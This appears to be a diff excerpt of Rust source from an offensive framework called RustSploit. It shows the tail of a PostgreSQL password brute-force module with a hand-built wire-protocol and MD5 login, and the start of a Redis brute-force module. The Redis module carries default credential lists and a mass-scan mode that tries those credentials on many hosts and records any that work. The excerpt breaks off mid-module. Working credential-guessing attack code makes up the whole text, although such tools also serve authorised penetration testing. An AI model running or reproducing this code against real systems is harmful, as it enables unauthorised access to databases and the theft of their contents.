let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "postgres_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting PostgreSQL brute-force on {}:{} ({} combos, {} threads, db={})",
|
||||
target,
|
||||
port,
|
||||
combos.len(),
|
||||
concurrency,
|
||||
database
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let db = database.clone();
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_pg_auth(&addr, &user, &pass, &db).await {
|
||||
PgResult::Success => LoginResult::Success,
|
||||
PgResult::AuthFailed => LoginResult::AuthFailed,
|
||||
PgResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
PgResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "postgresql",
|
||||
source_module: "creds/generic/postgres_bruteforce",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored PostgreSQL responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "postgres_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# PostgreSQL Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PostgreSQL Wire Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum PgResult {
|
||||
Success,
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Build a PostgreSQL StartupMessage (protocol v3.0).
|
||||
///
|
||||
/// Format: length (4 bytes, includes self) + protocol (4 bytes) + key-value pairs + terminator.
|
||||
fn build_startup_message(user: &str, database: &str) -> Vec<u8> {
|
||||
let mut params = Vec::new();
|
||||
|
||||
// user parameter
|
||||
params.extend_from_slice(b"user\0");
|
||||
params.extend_from_slice(user.as_bytes());
|
||||
params.push(0);
|
||||
|
||||
// database parameter
|
||||
params.extend_from_slice(b"database\0");
|
||||
params.extend_from_slice(database.as_bytes());
|
||||
params.push(0);
|
||||
|
||||
// client_encoding parameter
|
||||
params.extend_from_slice(b"client_encoding\0");
|
||||
params.extend_from_slice(b"UTF8\0");
|
||||
|
||||
// terminator
|
||||
params.push(0);
|
||||
|
||||
// protocol version 3.0 = 196608
|
||||
let protocol_version: u32 = 196608;
|
||||
// total length = 4 (length) + 4 (protocol) + params
|
||||
let total_len = (4 + 4 + params.len()) as u32;
|
||||
|
||||
let mut msg = Vec::with_capacity(total_len as usize);
|
||||
msg.extend_from_slice(&total_len.to_be_bytes());
|
||||
msg.extend_from_slice(&protocol_version.to_be_bytes());
|
||||
msg.extend_from_slice(¶ms);
|
||||
|
||||
msg
|
||||
}
|
||||
|
||||
/// Build a PasswordMessage for PostgreSQL.
|
||||
///
|
||||
/// Format: 'p' + length (4 bytes, includes self) + password string + null terminator.
|
||||
fn build_password_message(password: &str) -> Vec<u8> {
|
||||
let pass_bytes = password.as_bytes();
|
||||
let len = (4 + pass_bytes.len() + 1) as u32; // length includes itself + string + null
|
||||
|
||||
let mut msg = Vec::with_capacity(1 + len as usize);
|
||||
msg.push(b'p');
|
||||
msg.extend_from_slice(&len.to_be_bytes());
|
||||
msg.extend_from_slice(pass_bytes);
|
||||
msg.push(0);
|
||||
|
||||
msg
|
||||
}
|
||||
|
||||
/// Compute PostgreSQL MD5 auth response.
|
||||
///
|
||||
/// inner = md5(password + username)
|
||||
/// result = "md5" + md5(hex(inner) + salt)
|
||||
fn compute_md5_password(user: &str, password: &str, salt: &[u8; 4]) -> String {
|
||||
// inner = MD5(password + username)
|
||||
let mut inner_input = Vec::with_capacity(password.len() + user.len());
|
||||
inner_input.extend_from_slice(password.as_bytes());
|
||||
inner_input.extend_from_slice(user.as_bytes());
|
||||
let inner = md5::compute(&inner_input);
|
||||
let inner_hex = format!("{:x}", inner);
|
||||
|
||||
// outer = MD5(hex(inner) + salt)
|
||||
let mut outer_input = Vec::with_capacity(inner_hex.len() + 4);
|
||||
outer_input.extend_from_slice(inner_hex.as_bytes());
|
||||
outer_input.extend_from_slice(salt);
|
||||
let outer = md5::compute(&outer_input);
|
||||
|
||||
format!("md5{:x}", outer)
|
||||
}
|
||||
|
||||
/// Read a PostgreSQL message: 1-byte type + 4-byte length (BE, includes self) + payload.
|
||||
async fn read_pg_message(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
|
||||
let mut header = [0u8; 5];
|
||||
tokio::time::timeout(Duration::from_millis(READ_TIMEOUT_MS), stream.read_exact(&mut header))
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading PostgreSQL message"))?
|
||||
.map_err(|e| anyhow!("Failed to read message header: {}", e))?;
|
||||
|
||||
let msg_type = header[0];
|
||||
let length = u32::from_be_bytes([header[1], header[2], header[3], header[4]]);
|
||||
|
||||
if length < 4 {
|
||||
return Err(anyhow!("Invalid message length: {}", length));
|
||||
}
|
||||
|
||||
let payload_len = (length - 4) as usize;
|
||||
if payload_len > 65_536 {
|
||||
return Err(anyhow!("PostgreSQL message too large: {} bytes", payload_len));
|
||||
}
|
||||
|
||||
let mut payload = vec![0u8; payload_len];
|
||||
if payload_len > 0 {
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading PostgreSQL payload"))?
|
||||
.map_err(|e| anyhow!("Failed to read payload: {}", e))?;
|
||||
}
|
||||
|
||||
Ok((msg_type, payload))
|
||||
}
|
||||
|
||||
/// Attempt PostgreSQL authentication against a target address.
|
||||
async fn try_pg_auth(addr: &str, username: &str, password: &str, database: &str) -> PgResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match tokio::time::timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return PgResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
Err(_) => return PgResult::ConnectionError("Connection timeout".to_string()),
|
||||
};
|
||||
|
||||
// Send StartupMessage
|
||||
let startup = build_startup_message(username, database);
|
||||
if let Err(e) = stream.write_all(&startup).await {
|
||||
return PgResult::ConnectionError(format!("Failed to send startup: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Failed to flush: {}", e));
|
||||
}
|
||||
|
||||
// Read server response - may get multiple messages
|
||||
loop {
|
||||
let (msg_type, payload) = match read_pg_message(&mut stream).await {
|
||||
Ok(m) => m,
|
||||
Err(e) => {
|
||||
return PgResult::ConnectionError(format!("Failed to read response: {}", e))
|
||||
}
|
||||
};
|
||||
|
||||
match msg_type {
|
||||
b'R' => {
|
||||
// Authentication message
|
||||
if payload.len() < 4 {
|
||||
return PgResult::ProtocolError("Auth message too short".to_string());
|
||||
}
|
||||
let auth_type = u32::from_be_bytes([payload[0], payload[1], payload[2], payload[3]]);
|
||||
|
||||
match auth_type {
|
||||
0 => {
|
||||
// AuthenticationOk - success!
|
||||
return PgResult::Success;
|
||||
}
|
||||
3 => {
|
||||
// CleartextPassword requested
|
||||
let pass_msg = build_password_message(password);
|
||||
if let Err(e) = stream.write_all(&pass_msg).await {
|
||||
return PgResult::ConnectionError(format!(
|
||||
"Failed to send password: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
// Continue loop to read the auth result
|
||||
}
|
||||
5 => {
|
||||
// MD5Password requested - extract 4-byte salt
|
||||
if payload.len() < 8 {
|
||||
return PgResult::ProtocolError(
|
||||
"MD5 auth message too short (no salt)".to_string(),
|
||||
);
|
||||
}
|
||||
let mut salt = [0u8; 4];
|
||||
salt.copy_from_slice(&payload[4..8]);
|
||||
|
||||
let md5_pass = compute_md5_password(username, password, &salt);
|
||||
let pass_msg = build_password_message(&md5_pass);
|
||||
if let Err(e) = stream.write_all(&pass_msg).await {
|
||||
return PgResult::ConnectionError(format!(
|
||||
"Failed to send MD5 password: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
// Continue loop to read the auth result
|
||||
}
|
||||
10 => {
|
||||
// SASL authentication (SCRAM-SHA-256) -- not supported in this module
|
||||
return PgResult::ProtocolError(
|
||||
"SCRAM-SHA-256 auth not supported (use password or md5 in pg_hba.conf)"
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
other => {
|
||||
return PgResult::ProtocolError(format!(
|
||||
"Unsupported auth type: {}",
|
||||
other
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
b'E' => {
|
||||
// ErrorResponse -- parse the message for detail
|
||||
let msg = parse_pg_error(&payload);
|
||||
if msg.contains("authentication failed")
|
||||
|| msg.contains("password authentication failed")
|
||||
|| msg.contains("no pg_hba.conf entry")
|
||||
{
|
||||
return PgResult::AuthFailed;
|
||||
}
|
||||
return PgResult::ProtocolError(msg);
|
||||
}
|
||||
b'N' => {
|
||||
// NoticeResponse -- informational, keep reading
|
||||
continue;
|
||||
}
|
||||
b'K' => {
|
||||
// BackendKeyData -- sent after successful auth, followed by ReadyForQuery
|
||||
// Continue reading to find ReadyForQuery
|
||||
continue;
|
||||
}
|
||||
b'S' => {
|
||||
// ParameterStatus -- sent after successful auth
|
||||
continue;
|
||||
}
|
||||
b'Z' => {
|
||||
// ReadyForQuery -- server is ready, auth was successful
|
||||
return PgResult::Success;
|
||||
}
|
||||
other => {
|
||||
return PgResult::ProtocolError(format!(
|
||||
"Unexpected message type: 0x{:02X} ('{}')",
|
||||
other, other as char
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse a PostgreSQL ErrorResponse into a human-readable string.
|
||||
///
|
||||
/// Format: series of type-byte + null-terminated string pairs, terminated by 0.
|
||||
fn parse_pg_error(payload: &[u8]) -> String {
|
||||
let mut messages = Vec::new();
|
||||
let mut pos = 0;
|
||||
|
||||
while pos < payload.len() {
|
||||
let field_type = payload[pos];
|
||||
pos += 1;
|
||||
|
||||
if field_type == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
// Find null terminator
|
||||
let start = pos;
|
||||
while pos < payload.len() && payload[pos] != 0 {
|
||||
pos += 1;
|
||||
}
|
||||
|
||||
let value = String::from_utf8_lossy(&payload[start..pos]).to_string();
|
||||
pos += 1; // skip null terminator
|
||||
|
||||
match field_type {
|
||||
b'S' => messages.push(format!("Severity: {}", value)),
|
||||
b'M' => messages.push(value.clone()),
|
||||
b'C' => messages.push(format!("Code: {}", value)),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
if messages.is_empty() {
|
||||
"Unknown PostgreSQL error".to_string()
|
||||
} else {
|
||||
messages.join("; ")
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,631 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_REDIS_PORT: u16 = 6379;
|
||||
|
||||
/// Default passwords for Redis (password-only mode).
|
||||
/// Redis commonly runs with no auth, "redis", "foobared", etc.
|
||||
const DEFAULT_PASSWORDS: &[&str] = &[
|
||||
"", // no auth
|
||||
"redis",
|
||||
"password",
|
||||
"foobared",
|
||||
"admin",
|
||||
"123456",
|
||||
"root",
|
||||
"default",
|
||||
"letmein",
|
||||
"changeme",
|
||||
];
|
||||
|
||||
/// Default ACL credentials for Redis 6+ (username:password).
|
||||
const DEFAULT_ACL_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("default", ""),
|
||||
("default", "redis"),
|
||||
("default", "password"),
|
||||
("default", "foobared"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "redis"),
|
||||
("root", "root"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Redis Brute Force".to_string(),
|
||||
description: "Brute-force Redis authentication using raw TCP protocol. Supports both \
|
||||
legacy password-only AUTH and Redis 6+ ACL mode (AUTH username password). \
|
||||
Tests default credentials, gathers server info on success, and supports \
|
||||
subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://redis.io/docs/management/security/".to_string(),
|
||||
"https://redis.io/docs/management/security/acl/".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum RedisErrorType {
|
||||
AuthenticationFailed,
|
||||
NoAuthRequired,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
ProtocolError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl RedisErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("noauth") || lower.contains("no auth") {
|
||||
Self::NoAuthRequired
|
||||
} else if lower.contains("-err")
|
||||
|| lower.contains("wrongpass")
|
||||
|| lower.contains("invalid password")
|
||||
|| lower.contains("authentication")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("protocol") || lower.contains("unexpected") {
|
||||
Self::ProtocolError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::NoAuthRequired => "No authentication required",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::ProtocolError => "Protocol error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct RedisError {
|
||||
error_type: RedisErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for RedisError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for RedisError {}
|
||||
|
||||
impl RedisError {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = RedisErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== Redis Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Redis",
|
||||
default_port: DEFAULT_REDIS_PORT,
|
||||
state_file: "redis_hose_state.log",
|
||||
default_output: "redis_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
async move {
|
||||
// Quick TCP check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
// Verify Redis is reachable with PING
|
||||
let ping_result = tokio::task::spawn_blocking({
|
||||
let t = target_str.clone();
|
||||
move || redis_ping(&t, port, 5)
|
||||
}).await;
|
||||
|
||||
match ping_result {
|
||||
Ok(Ok(true)) => {
|
||||
// PING succeeded without auth — Redis has no auth
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", "", "(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_bruteforce",
|
||||
).await;
|
||||
return Some(format!("[{}] {}:{}:(no auth)\n", ts, ip, port));
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
// Auth required, try defaults
|
||||
}
|
||||
_ => return None, // Connection failure
|
||||
}
|
||||
|
||||
if use_acl {
|
||||
for (user, pass) in DEFAULT_ACL_CREDENTIALS {
|
||||
let t = target_str.clone();
|
||||
let u = user.to_string();
|
||||
let p = pass.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, port, &u, &p, true, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_bruteforce",
|
||||
).await;
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
Ok(Ok(false)) => continue,
|
||||
_ => return None,
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
let t = target_str.clone();
|
||||
let p = pass.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, port, "", &p, false, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", "", pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_bruteforce",
|
||||
).await;
|
||||
return Some(format!("[{}] {}:{}::{}\n", ts, ip, port, pass));
|
||||
}
|
||||
Ok(Ok(false)) => continue,
|
||||
_ => return None,
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
let port = cfg_prompt_int_range("port", "Port", DEFAULT_REDIS_PORT as i64, 1, 65535).await? as u16;
|
||||
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
let users = if use_acl {
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let u = load_lines(&usernames_file)?;
|
||||
if u.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
u
|
||||
} else {
|
||||
// In password-only mode, use a single empty username
|
||||
vec![String::new()]
|
||||
};
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "redis_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "redis",
|
||||
source_module: "creds/generic/redis_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&target_str, port, &user, &pass, use_acl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
let port = cfg_prompt_int_range("port", "Port", DEFAULT_REDIS_PORT as i64, 1, 65535).await? as u16;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let usernames_file = if use_acl {
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least a password wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "redis_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
let mut passwords = Vec::new();
|
||||
|
||||
if use_acl {
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
